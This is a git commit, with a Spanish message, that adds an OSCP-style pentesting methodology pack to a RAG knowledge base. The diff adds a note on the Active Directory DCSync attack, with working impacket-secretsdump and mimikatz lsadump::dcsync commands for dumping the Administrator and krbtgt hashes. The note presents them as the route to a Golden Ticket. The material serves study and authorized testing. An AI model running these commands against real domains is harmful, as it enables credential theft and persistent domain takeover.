saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/DCSync.md

@@ -0,0 +1,22 @@
+# DCSync
+
+> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.
+
+## Cómo se llega
+- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
+- O un ACL abuses que te conceda esos derechos.
+
+## Ataque
+```bash
+impacket-secretsdump dominio/usuario:password@DC_IP   # → ver secretsdump
+```
+```
+# o desde mimikatz en una máquina del dominio:
+lsadump::dcsync /user:Administrator
+lsadump::dcsync /user:krbtgt        # ← el premio gordo
+```
+
+## Por qué importa
+El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.
+
+Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC